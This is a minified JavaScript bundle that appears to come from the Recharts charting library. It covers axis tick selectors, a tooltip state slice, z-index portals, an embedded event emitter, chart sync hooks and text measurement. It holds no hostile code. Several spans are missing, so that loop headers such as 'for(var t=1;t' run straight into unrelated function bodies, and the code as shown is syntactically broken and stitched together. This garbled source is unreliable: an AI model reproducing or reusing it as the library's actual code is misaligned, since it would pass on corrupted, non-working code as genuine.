Rp=(e,t)=>t,Dp=(e,t,n)=>n,MQ=G(op,Rp,Dp,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(aL)),jQ=G(lp,Rp,Dp,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(aL)),iL=(e,t)=>({width:e.width,height:t.height}),PQ=(e,t)=>{var n=typeof t.width=="number"?t.width:Qc;return{width:n,height:e.height}},oL=G(kt,La,iL),RQ=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},DQ=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},kQ=G(Ra,kt,MQ,Rp,Dp,(e,t,n,r,i)=>{var l={},c;return n.forEach(u=>{var f=iL(t,u);c==null&&(c=RQ(t,r,e));var h=r==="top"&&!i||r==="bottom"&&i;l[u.id]=c-Number(h)*f.height,c+=(h?-1:1)*f.height}),l}),LQ=G(Pa,kt,jQ,Rp,Dp,(e,t,n,r,i)=>{var l={},c;return n.forEach(u=>{var f=PQ(t,u);c==null&&(c=DQ(t,r,e));var h=r==="left"&&!i||r==="right"&&i;l[u.id]=c-Number(h)*f.width,c+=(h?-1:1)*f.width}),l}),IQ=(e,t)=>{var n=La(e,t);if(n!=null)return kQ(e,n.orientation,n.mirror)},zQ=G([kt,La,IQ,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n?.[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}}),$Q=(e,t)=>{var n=Ia(e,t);if(n!=null)return LQ(e,n.orientation,n.mirror)},BQ=G([kt,Ia,$Q,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n?.[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}}),lL=G(kt,Ia,(e,t)=>{var n=typeof t.width=="number"?t.width:Qc;return{width:n,height:e.height}}),DN=(e,t,n)=>{switch(t){case"xAxis":return oL(e,n).width;case"yAxis":return lL(e,n).height;default:return}},sL=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:l,dataKey:c}=n,u=So(e,r),f=t.map(h=>h.value);if(c&&u&&l==="category"&&i&&mR(f))return f}},E1=G([Fe,Mp,pt,dt],sL),cL=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:l}=n,c=So(e,r);if(c&&(i==="number"||l!=="auto"))return t.map(u=>u.value)}},A1=G([Fe,Mp,lu,dt],cL);G([Fe,QZ,rs,Pp,E1,A1,uu,S1,dt],(e,t,n,r,i,l,c,u,f)=>{if(t!=null){var h=So(e,f);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:f,categoricalDomain:l,duplicateDomain:i,isCategorical:h,niceTicks:u,range:c,realScaleType:n,scale:r}}});var UQ=(e,t,n,r,i,l,c,u,f)=>{if(!(t==null||r==null)){var h=So(e,f),{type:p,ticks:m,tickCount:y}=t,x=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,S=p==="category"&&r.bandwidth?r.bandwidth()/x:0;S=f==="angleAxis"&&l!=null&&l.length>=2?tn(l[0]-l[1])*2*S:S;var w=m||i;if(w){var O=w.map((A,_)=>{var T=c?c.indexOf(A):A;return{index:_,coordinate:r(T)+S,value:A,offset:S}});return O.filter(A=>ht(A.coordinate))}return h&&u?u.map((A,_)=>({coordinate:r(A)+S,value:A,index:_,offset:S})).filter(A=>ht(A.coordinate)):r.ticks?r.ticks(y).map(A=>({coordinate:r(A)+S,value:A,offset:S})):r.domain().map((A,_)=>({coordinate:r(A)+S,value:c?c[A]:A,index:_,offset:S}))}},uL=G([Fe,lu,rs,Pp,S1,uu,E1,A1,dt],UQ),HQ=(e,t,n,r,i,l,c)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var u=So(e,c),{tickCount:f}=t,h=0;return h=c==="angleAxis"&&r?.length>=2?tn(r[0]-r[1])*2*h:h,u&&l?l.map((p,m)=>({coordinate:n(p)+h,value:p,index:m,offset:h})):n.ticks?n.ticks(f).map(p=>({coordinate:n(p)+h,value:p,offset:h})):n.domain().map((p,m)=>({coordinate:n(p)+h,value:i?i[p]:p,index:m,offset:h}))}},$l=G([Fe,lu,Pp,uu,E1,A1,dt],HQ),Bl=G(pt,Pp,(e,t)=>{if(!(e==null||t==null))return sh(sh({},e),{},{scale:t})}),qQ=G([pt,rs,b1,rL],x1);G((e,t,n)=>i1(e,n),qQ,(e,t)=>{if(!(e==null||t==null))return sh(sh({},e),{},{scale:t})});var FQ=G([Fe,op,lp],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),fL=e=>e.options.defaultTooltipEventType,dL=e=>e.options.validateTooltipEventTypes;function hL(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function C1(e,t){var n=fL(e),r=dL(e);return hL(t,n,r)}function VQ(e){return we(t=>C1(t,e))}var pL=(e,t)=>{var n,r=Number(t);if(!(Hr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},KQ=e=>e.tooltip.settings,gi={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},YQ={itemInteraction:{click:gi,hover:gi},axisInteraction:{click:gi,hover:gi},keyboardInteraction:gi,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},mL=An({name:"tooltip",initialState:YQ,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:ct()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Sr(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:ct()},removeTooltipEntrySettings:{reducer(e,t){var n=Sr(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:ct()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:GQ,replaceTooltipEntrySettings:WQ,removeTooltipEntrySettings:XQ,setTooltipSettingsState:ZQ,setActiveMouseOverItemIndex:vL,mouseLeaveItem:QQ,mouseLeaveChart:gL,setActiveClickItemIndex:JQ,setMouseOverAxisIndex:yL,setMouseClickAxisIndex:eJ,setSyncInteraction:ub,setKeyboardInteraction:fb}=mL.actions,tJ=mL.reducer;function kN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ad(e){for(var t=1;t{if(t==null)return gi;var i=iJ(e,t,n);if(i==null)return gi;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var l=e.settings.active===!0;if(oJ(i)){if(l)return ad(ad({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return ad(ad({},gi),{},{coordinate:i.coordinate})};function lJ(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function sJ(e,t){var n=lJ(e),r=t[0],i=t[1];if(n===void 0)return!1;var l=Math.min(r,i),c=Math.max(r,i);return n>=l&&n<=c}function cJ(e,t,n){if(n==null||t==null)return!0;var r=lt(e,t);return r==null||!Oi(n)?!0:sJ(r,n)}var _1=(e,t,n,r)=>{var i=e?.index;if(i==null)return null;var l=Number(i);if(!ht(l))return i;var c=0,u=1/0;t.length>0&&(u=t.length-1);var f=Math.max(c,Math.min(l,u)),h=t[f];return h==null||cJ(h,n,r)?String(f):null},xL=(e,t,n,r,i,l,c,u)=>{if(!(l==null||u==null)){var f=c[0],h=f==null?void 0:u(f.positions,l);if(h!=null)return h;var p=i?.[Number(l)];if(p)return n==="horizontal"?{x:p.coordinate,y:(r.top+t)/2}:{x:(r.left+e)/2,y:p.coordinate}}},wL=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var l=e.tooltipItemPayloads[0];return l!=null?[l]:[]}return e.tooltipItemPayloads.filter(c=>{var u;return((u=c.settings)===null||u===void 0?void 0:u.graphicalItemId)===i})},fu=e=>e.options.tooltipPayloadSearcher,as=e=>e.tooltip;function LN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function IN(e){for(var t=1;t{if(!(t==null||l==null)){var{chartData:u,computedData:f,dataStartIndex:h,dataEndIndex:p}=n,m=[];return e.reduce((y,x)=>{var S,{dataDefinedOnItem:w,settings:O}=x,A=hJ(w,u),_=Array.isArray(A)?lD(A,h,p):A,T=(S=O?.dataKey)!==null&&S!==void 0?S:r,j=O?.nameKey,M;if(r&&Array.isArray(_)&&!Array.isArray(_[0])&&c==="axis"?M=hF(_,r,i):M=l(_,t,f,j),Array.isArray(M))M.forEach(R=>{var I=IN(IN({},O),{},{name:R.name,unit:R.unit,color:void 0,fill:void 0});y.push(H_({tooltipEntrySettings:I,dataKey:R.dataKey,payload:R.payload,value:lt(R.payload,R.dataKey),name:R.name}))});else{var P;y.push(H_({tooltipEntrySettings:O,dataKey:T,payload:M,value:lt(M,T),name:(P=lt(M,j))!==null&&P!==void 0?P:O?.name}))}return y},m)}},T1=G([zt,Fe,qk,Qx,It],tL),pJ=G([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),mJ=G([It,ts],o1),is=G([pJ,zt,mJ],s1,{memoizeOptions:{resultEqualityCheck:Np}}),vJ=G([is],e=>e.filter(_p)),gJ=G([is],c1,{memoizeOptions:{resultEqualityCheck:Np}}),os=G([gJ,ka],u1),yJ=G([vJ,ka,zt],Bk),N1=G([os,zt,is],d1),OL=G([zt],h1),bJ=G([zt],e=>e.allowDataOverflow),EL=G([OL,bJ],gk),xJ=G([is],e=>e.filter(_p)),wJ=G([yJ,xJ,iu,Rk],Yk),SJ=G([wJ,ka,It,EL],Gk),OJ=G([is],Vk),EJ=G([os,zt,OJ,jp,It],v1,{memoizeOptions:{resultEqualityCheck:Tp}}),AJ=G([Wk,It,ts],ns),CJ=G([AJ,It],Qk),_J=G([Xk,It,ts],ns),TJ=G([_J,It],Jk),NJ=G([Zk,It,ts],ns),MJ=G([NJ,It],eL),jJ=G([CJ,MJ,TJ],ch),PJ=G([zt,OL,EL,SJ,EJ,jJ,Fe,It],g1),du=G([zt,Fe,os,N1,iu,It,PJ],y1),RJ=G([du,zt,T1],w1),DJ=G([zt,du,RJ,It],O1),AL=e=>{var t=It(e),n=ts(e),r=!1;return uu(e,t,n,r)},CL=G([zt,AL],Ap),_L=G([zt,T1,DJ,CL],x1),kJ=G([Fe,N1,zt,It],sL),LJ=G([Fe,N1,zt,It],cL),IJ=(e,t,n,r,i,l,c,u)=>{if(t){var{type:f}=t,h=So(e,u);if(r){var p=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,m=f==="category"&&r.bandwidth?r.bandwidth()/p:0;return m=u==="angleAxis"&&i!=null&&i?.length>=2?tn(i[0]-i[1])*2*m:m,h&&c?c.map((y,x)=>({coordinate:r(y)+m,value:y,index:x,offset:m})):r.domain().map((y,x)=>({coordinate:r(y)+m,value:l?l[y]:y,index:x,offset:m}))}}},za=G([Fe,zt,T1,_L,AL,kJ,LJ,It],IJ),M1=G([fL,dL,KQ],(e,t,n)=>hL(n.shared,e,t)),TL=e=>e.tooltip.settings.trigger,j1=e=>e.tooltip.settings.defaultIndex,hu=G([as,M1,TL,j1],bL),mo=G([hu,os,cu,du],_1),NL=G([za,mo],pL),P1=G([hu],e=>{if(e)return e.dataKey}),zJ=G([hu],e=>{if(e)return e.graphicalItemId}),ML=G([as,M1,TL,j1],wL),$J=G([Pa,Ra,Fe,kt,za,j1,ML,fu],xL),BJ=G([hu,$J],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),UJ=G([hu],e=>{var t;return(t=e?.active)!==null&&t!==void 0?t:!1}),HJ=G([ML,mo,ka,cu,NL,fu,M1],SL);G([HJ],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function zN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function $N(e){for(var t=1;twe(zt),YJ=()=>{var e=KJ(),t=we(za),n=we(_L);return qd(!e||!n?void 0:$N($N({},e),{},{scale:n}),t)};function BN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xl(e){for(var t=1;t{var i=t.find(l=>l&&l.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},QJ=(e,t,n,r)=>{var i=t.find(h=>h&&h.index===n);if(i){if(e==="centric"){var l=i.coordinate,{radius:c}=r;return xl(xl(xl({},r),Nt(r.cx,r.cy,c,l)),{},{angle:l,radius:c})}var u=i.coordinate,{angle:f}=r;return xl(xl(xl({},r),Nt(r.cx,r.cy,u,f)),{},{angle:f,radius:u})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function JJ(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var jL=(e,t,n,r,i)=>{var l,c=(l=t?.length)!==null&&l!==void 0?l:0;if(c<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var u=0;u0?(f=n[u-1])===null||f===void 0?void 0:f.coordinate:(h=n[c-1])===null||h===void 0?void 0:h.coordinate,S=(p=n[u])===null||p===void 0?void 0:p.coordinate,w=u>=c-1?(m=n[0])===null||m===void 0?void 0:m.coordinate:(y=n[u+1])===null||y===void 0?void 0:y.coordinate,O=void 0;if(!(x==null||S==null||w==null))if(tn(S-x)!==tn(w-S)){var A=[];if(tn(w-S)===tn(i[1]-i[0])){O=w;var _=S+i[1]-i[0];A[0]=Math.min(_,(_+x)/2),A[1]=Math.max(_,(_+x)/2)}else{O=x;var T=w+i[1]-i[0];A[0]=Math.min(S,(T+S)/2),A[1]=Math.max(S,(T+S)/2)}var j=[Math.min(S,(O+S)/2),Math.max(S,(O+S)/2)];if(e>j[0]&&e<=j[1]||e>=A[0]&&e<=A[1]){var M;return(M=n[u])===null||M===void 0?void 0:M.index}}else{var P=Math.min(x,w),R=Math.max(x,w);if(e>(P+S)/2&&e<=(R+S)/2){var I;return(I=n[u])===null||I===void 0?void 0:I.index}}}else if(t)for(var B=0;B(q.coordinate+V.coordinate)/2||B>0&&B(q.coordinate+V.coordinate)/2&&e<=(q.coordinate+U.coordinate)/2)return q.index}}return-1},eee=()=>we(Qx),R1=(e,t)=>t,PL=(e,t,n)=>n,D1=(e,t,n,r)=>r,tee=G(za,e=>Xh(e,t=>t.coordinate)),k1=G([as,R1,PL,D1],bL),L1=G([k1,os,cu,du],_1),nee=(e,t,n)=>{if(t!=null){var r=as(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},RL=G([as,R1,PL,D1],wL),uh=G([Pa,Ra,Fe,kt,za,D1,RL,fu],xL),ree=G([k1,uh],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),DL=G([za,L1],pL),aee=G([RL,L1,ka,cu,DL,fu,R1],SL),iee=G([k1,L1],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),oee=(e,t,n,r,i,l,c)=>{if(!(!e||!n||!r||!i)&&JJ(e,c)){var u=zK(e,t),f=jL(u,l,i,n,r),h=ZJ(t,i,f,e);return{activeIndex:String(f),activeCoordinate:h}}},lee=(e,t,n,r,i,l,c)=>{if(!(!e||!r||!i||!l||!n)){var u=FG(e,n);if(u){var f=$K(u,t),h=jL(f,c,l,r,i),p=QJ(t,l,h,u);return{activeIndex:String(h),activeCoordinate:p}}}},see=(e,t,n,r,i,l,c,u)=>{if(!(!e||!t||!r||!i||!l))return t==="horizontal"||t==="vertical"?oee(e,t,r,i,l,c,u):lee(e,t,n,r,i,l,c)},cee=G(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),uee=G(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(an)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:YZ}});function UN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function HN(e){for(var t=1;tHN(HN({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),pee)},vee=new Set(Object.values(an));function gee(e){return vee.has(e)}var kL=An({name:"zIndex",initialState:mee,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:ct()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!gee(n)&&delete e.zIndexMap[n])},prepare:ct()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:ct()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:ct()}}}),{registerZIndexPortal:yee,unregisterZIndexPortal:bee,registerZIndexPortalElement:xee,unregisterZIndexPortalElement:wee}=kL.actions,See=kL.reducer;function Gr(e){var{zIndex:t,children:n}=e,r=bY(),i=r&&t!==void 0&&t!==0,l=Vn(),c=ft();v.useLayoutEffect(()=>i?(c(yee({zIndex:t})),()=>{c(bee({zIndex:t}))}):Gc,[c,t,i]);var u=we(f=>cee(f,t,l));return i?u?wo.createPortal(n,u):null:n}function db(){return db=Object.assign?Object.assign.bind():function(e){for(var t=1;tv.useContext(LL),qy={exports:{}},FN;function Mee(){return FN||(FN=1,(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(f,h,p){this.fn=f,this.context=h,this.once=p||!1}function l(f,h,p,m,y){if(typeof p!="function")throw new TypeError("The listener must be a function");var x=new i(p,m||f,y),S=n?n+h:h;return f._events[S]?f._events[S].fn?f._events[S]=[f._events[S],x]:f._events[S].push(x):(f._events[S]=x,f._eventsCount++),f}function c(f,h){--f._eventsCount===0?f._events=new r:delete f._events[h]}function u(){this._events=new r,this._eventsCount=0}u.prototype.eventNames=function(){var h=[],p,m;if(this._eventsCount===0)return h;for(m in p=this._events)t.call(p,m)&&h.push(n?m.slice(1):m);return Object.getOwnPropertySymbols?h.concat(Object.getOwnPropertySymbols(p)):h},u.prototype.listeners=function(h){var p=n?n+h:h,m=this._events[p];if(!m)return[];if(m.fn)return[m.fn];for(var y=0,x=m.length,S=new Array(x);y{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),Dee=zL.reducer,{createEventEmitter:kee}=zL.actions;function Lee(e){return e.tooltip.syncInteraction}var Iee={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},$L=An({name:"chartData",initialState:Iee,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:KN,setDataStartEndIndexes:zee,setComputedData:Sue}=$L.actions,$ee=$L.reducer,Bee=["x","y"];function YN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function wl(e){for(var t=1;tf.rootProps.className);v.useEffect(()=>{if(e==null)return Gc;var f=(h,p,m)=>{if(t!==m&&e===h){if(r==="index"){var y;if(c&&p!==null&&p!==void 0&&(y=p.payload)!==null&&y!==void 0&&y.coordinate&&p.payload.sourceViewBox){var x=p.payload.coordinate,{x:S,y:w}=x,O=Fee(x,Bee),{x:A,y:_,width:T,height:j}=p.payload.sourceViewBox,M=wl(wl({},O),{},{x:c.x+(T?(S-A)/T:0)*c.width,y:c.y+(j?(w-_)/j:0)*c.height});n(wl(wl({},p),{},{payload:wl(wl({},p.payload),{},{coordinate:M})}))}else n(p);return}if(i!=null){var P;if(typeof r=="function"){var R={activeTooltipIndex:p.payload.index==null?void 0:Number(p.payload.index),isTooltipActive:p.payload.active,activeIndex:p.payload.index==null?void 0:Number(p.payload.index),activeLabel:p.payload.label,activeDataKey:p.payload.dataKey,activeCoordinate:p.payload.coordinate},I=r(i,R);P=i[I]}else r==="value"&&(P=i.find(L=>String(L.value)===p.payload.label));var{coordinate:B}=p.payload;if(P==null||p.payload.active===!1||B==null||c==null){n(ub({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:q,y:U}=B,V=Math.min(q,c.x+c.width),oe=Math.min(U,c.y+c.height),le={x:l==="horizontal"?P.coordinate:V,y:l==="horizontal"?oe:P.coordinate},ce=ub({active:p.payload.active,coordinate:le,dataKey:p.payload.dataKey,index:String(P.index),label:p.payload.label,sourceViewBox:p.payload.sourceViewBox,graphicalItemId:p.payload.graphicalItemId});n(ce)}}};return zc.on(hb,f),()=>{zc.off(hb,f)}},[u,n,t,e,r,i,l,c])}function Yee(){var e=we(Jx),t=we(e1),n=ft();v.useEffect(()=>{if(e==null)return Gc;var r=(i,l,c)=>{t!==c&&e===i&&n(zee(l))};return zc.on(VN,r),()=>{zc.off(VN,r)}},[n,t,e])}function Gee(){var e=ft();v.useEffect(()=>{e(kee())},[e]),Kee(),Yee()}function Wee(e,t,n,r,i,l){var c=we(x=>nee(x,e,t)),u=we(e1),f=we(Jx),h=we(Dk),p=we(Lee),m=p?.active,y=up();v.useEffect(()=>{if(!m&&f!=null&&u!=null){var x=ub({active:l,coordinate:n,dataKey:c,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:y,graphicalItemId:void 0});zc.emit(hb,f,x,u)}},[m,n,c,i,r,u,f,h,l,y])}function GN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function WN(e){for(var t=1;t{R(ZQ({shared:_,trigger:T,axisId:P,active:i,defaultIndex:I}))},[R,_,T,P,i,I]);var B=up(),q=AD(),U=VQ(_),{activeIndex:V,isActive:oe}=(t=we(ee=>iee(ee,U,T,I)))!==null&&t!==void 0?t:{},le=we(ee=>aee(ee,U,T,I)),ce=we(ee=>DL(ee,U,T,I)),L=we(ee=>ree(ee,U,T,I)),F=le,$=Nee(),Z=(n=i??oe)!==null&&n!==void 0?n:!1,[de,D]=SV([F,Z]),X=U==="axis"?ce:void 0;Wee(U,T,L,X,V,Z);var ae=M??$;if(ae==null||B==null||U==null)return null;var se=F??XN;Z||(se=XN),h&&se.length&&(se=XF(se.filter(ee=>ee.value!=null&&(ee.hide!==!0||r.includeHidden)),y,Jee));var me=se.length>0,xe=v.createElement(FY,{allowEscapeViewBox:l,animationDuration:c,animationEasing:u,isAnimationActive:p,active:Z,coordinate:L,hasPayload:me,offset:m,position:x,reverseDirection:S,useTranslate3d:w,viewBox:B,wrapperStyle:O,lastBoundingBox:de,innerRef:D,hasPortalFromProps:!!M},ete(f,WN(WN({},r),{},{payload:se,label:X,active:Z,activeIndex:V,coordinate:L,accessibilityLayer:q})));return v.createElement(v.Fragment,null,wo.createPortal(xe,ae),Z&&v.createElement(Tee,{cursor:A,tooltipEventType:U,coordinate:L,payload:se,index:V}))}var vo=e=>null;vo.displayName="Cell";function rte(e,t,n){return(t=ate(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function ate(e){var t=ite(e,"string");return typeof t=="symbol"?t:t+""}function ite(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}class ote{constructor(t){rte(this,"cache",new Map),this.maxSize=t}get(t){var n=this.cache.get(t);return n!==void 0&&(this.cache.delete(t),this.cache.set(t,n)),n}set(t,n){if(this.cache.has(t))this.cache.delete(t);else if(this.cache.size>=this.maxSize){var r=this.cache.keys().next().value;r!=null&&this.cache.delete(r)}this.cache.set(t,n)}clear(){this.cache.clear()}size(){return this.cache.size}}function ZN(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function lte(e){for(var t=1;t{try{var n=document.getElementById(JN);n||(n=document.createElement("span"),n.setAttribute("id",JN),n.setAttribute("aria-hidden","true"),document.body.appendChild(n)),Object.assign(n.style,dte,t),n.textContent="".concat(e);var r=n.getBoundingClientRect();return{width:r.width,height:r.height}}catch{return{width:0,height:0}}},bc=function(t){var n=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{};if(t==null||mp.isSsr)return{width:0,height:0};if(!BL.enableCache)return e2(t,n);var r=hte(t,n),i=QN.get(r);if(i)return i;var l=e2(t,n);return QN.set(r,l),l},UL;function pte(e,t,n){return(t=mte(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function mte(e){var t=vte(e,"string");return typeof t=="symbol"?t:t+""}function vte(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var 